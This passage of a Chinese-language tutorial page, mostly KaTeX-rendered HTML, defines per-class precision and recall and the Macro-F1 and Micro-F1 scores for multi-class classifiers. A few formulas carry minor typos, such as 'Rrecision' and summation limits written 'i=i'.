mathdefault mtight">c</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">o</span><span class="mord mathdefault mtight">n</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.446108em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">p</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">o</span><span class="mord mathdefault mtight">n</span><span class="mbin mtight">×</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.481108em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></li></ol><p>F1是用来衡量二维分类的,Micro-F1 score和Macro-F1 score则是用来衡量多元分类器的性能。</p><h4 id="macro-f1-score"><a class="markdownIt-Anchor" href="#macro-f1-score"></a> Macro-F1 score</h4><p>对于一个多分类问题,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi><msub><mi>P</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">TP_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 、<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>F</mi><msub><mi>P</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">FP_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi><msub><mi>N</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">TN_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.10903em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>F</mi><msub><mi>N</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">FN_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.10903em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>、分别是分类<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.65952em;vertical-align:0em;"></span><span class="mord mathdefault">i</span></span></span></span>的True Positive、False Positive、True Negative、False Negative。</p><ol><li>分别计算每个类的精度(precision)和召回率(recall)<ol><li>每个类的精度(precision):<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><msub><mi>n</mi><mi>i</mi></msub><mo>=</mo><mfrac><mrow><mi>T</mi><msub><mi>P</mi><mi>i</mi></msub></mrow><mrow><mi>T</mi><msub><mi>P</mi><mi>i</mi></msub><mo>+</mo><mi>F</mi><msub><mi>P</mi><mi>i</mi></msub></mrow></mfrac></mrow><annotation encoding="application/x-tex">precision_i=\frac{TP_i}{TP_i+FP_i}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.85396em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">p</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mord mathdefault">i</span><span class="mord mathdefault">s</span><span class="mord mathdefault">i</span><span class="mord mathdefault">o</span><span class="mord"><span class="mord mathdefault">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.3335309999999998em;vertical-align:-0.44509999999999994em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8884309999999999em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:-0.13889em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:-0.13889em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4101em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:-0.13889em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.44509999999999994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>)</li><li>每个类的召回率(recall):<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>r</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><msub><mi>l</mi><mi>i</mi></msub><mo>=</mo><mfrac><mrow><mi>T</mi><msub><mi>P</mi><mi>i</mi></msub></mrow><mrow><mi>T</mi><msub><mi>P</mi><mi>i</mi></msub><mo>+</mo><mi>F</mi><msub><mi>N</mi><mi>i</mi></msub></mrow></mfrac></mrow><annotation encoding="application/x-tex">recall_i=\frac{TP_i}{TP_i+FN_i}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mord mathdefault">a</span><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.01968em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.3335309999999998em;vertical-align:-0.44509999999999994em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8884309999999999em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:-0.13889em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:-0.10903em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4101em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:-0.13889em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.44509999999999994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></li></ol></li><li>计算Macro-F1 score的精度和召回率是所有分类的平均值<ol><li>Macro-P 精度:$ Precision_{macro}=\frac{1}{n}\sum_{i=i}^{n}precision_i$</li><li>Macro-R 召回:$ Recall_{macro}=\frac{1}{n}\sum_{i=i}^{n}recall_i$</li></ol></li><li>套用F1score的计算方法,Macro-F1 score就是:<ol><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>M</mi><mi>a</mi><mi>c</mi><mi>r</mi><mi>o</mi><mo>−</mo><mi>F</mi><mn>1</mn><mi>s</mi><mi>c</mi><mi>o</mi><mi>r</mi><mi>e</mi><mo>=</mo><mn>2</mn><mo>×</mo><mfrac><mrow><mi>R</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><msub><mi>n</mi><mrow><mi>m</mi><mi>a</mi><mi>c</mi><mi>r</mi><mi>o</mi></mrow></msub><mo>×</mo><mi>R</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><msub><mi>l</mi><mrow><mi>m</mi><mi>a</mi><mi>c</mi><mi>r</mi><mi>o</mi></mrow></msub></mrow><mrow><mi>P</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><msub><mi>n</mi><mrow><mi>m</mi><mi>a</mi><mi>c</mi><mi>r</mi><mi>o</mi></mrow></msub><mo>+</mo><mi>R</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><msub><mi>l</mi><mrow><mi>m</mi><mi>a</mi><mi>c</mi><mi>r</mi><mi>o</mi></mrow></msub></mrow></mfrac></mrow><annotation encoding="application/x-tex">Macro-F1 score=2 \times \frac{Rrecision_{macro} \times Recall_{macro}}{Precision_{macro}+Recall_{macro}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.10903em;">M</span><span class="mord mathdefault">a</span><span class="mord mathdefault">c</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">o</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord">1</span><span class="mord mathdefault">s</span><span class="mord mathdefault">c</span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.3413079999999997em;vertical-align:-0.44509999999999994em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8962079999999999em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">o</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.16454285714285719em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">o</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.00773em;">R</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.16454285714285719em;"><span style="top:-2.357em;margin-left:-0.01968em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">o</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4101em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.00773em;">R</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">o</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.16454285714285719em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">o</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mbin mtight">×</span><span class="mord mathdefault mtight" style="margin-right:0.00773em;">R</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.16454285714285719em;"><span style="top:-2.357em;margin-left:-0.01968em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">o</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.44509999999999994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></li></ol></li></ol><p>Micro-F1 score</p><ol><li>通过的统计值计算的Micro-F1 score的precision和recall<ol><li>Micro-P 精度:$ Precision_{micro}=\frac{\sum_{i=i}<sup>{n}TP_i}{\sum_{i=i}</sup>{n}TP_i+\sum_{i=i}^{n}FP_i}$</li><li>Micro-R 召回:$ Recall_{micro}=\frac{\sum_{i=i}<sup>{n}TP_i}{\sum_{i=i}</sup>{n}TP_i+\sum_{i=i}^{n}FN_i}$</li></ol></li><li>Micro-F1 score就是<ol><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>M</mi><mi>i</mi><mi>c</mi><mi>r</mi><mi>o</mi><mo>−</mo><mi>F</mi><mn>1</mn><mi>s</mi><mi>c</mi><mi>o</mi><mi>r</mi><mi>e</mi><mo>=</mo><mn>2</mn><mo>×</mo><mfrac><mrow><mi>R</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><msub><mi>n</mi><mrow><mi>m</mi><mi>i</mi><mi>c</mi><mi>r</mi><mi>o</mi></mrow></msub><mo>×</mo><mi>R</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><msub><mi>l</mi><mrow><mi>m</mi><mi>i</mi><mi>c</mi><mi>r</mi><mi>o</mi></mrow></msub></mrow><mrow><mi>P</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><msub><mi>n</mi><mrow><mi>m</mi><mi>i</mi><mi>c</mi><mi>r</mi><mi>o</mi></mrow></msub><mo>+</mo><mi>R</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><msub><mi>l</mi><mrow><mi>m</mi><mi>i</mi><mi>c</mi><mi>r</mi><mi>o</mi></mrow></msub></mrow></mfrac></mrow><annotation encoding="application/x-tex">Micro-F1 score=2 \times \frac{Rrecision_{micro} \times Recall_{micro}}{Precision_{micro}+Recall_{micro}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.10903em;">M</span><span class="mord mathdefault">i</span><span class="mord mathdefault">c</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">o</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord">1</span><span class="mord mathdefault">s</span><span class="mord mathdefault">c</span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.3413079999999997em;vertical-align:-0.44509999999999994em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8962079999999999em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">o</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">o</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.00773em;">R</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:-0.01968em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">o</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4101em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.00773em;">R</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">o</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">o</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mbin mtight">×</span><span class="mord mathdefault mtight" style="margin-right:0.00773em;">R</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:-0.01968em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">o</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" 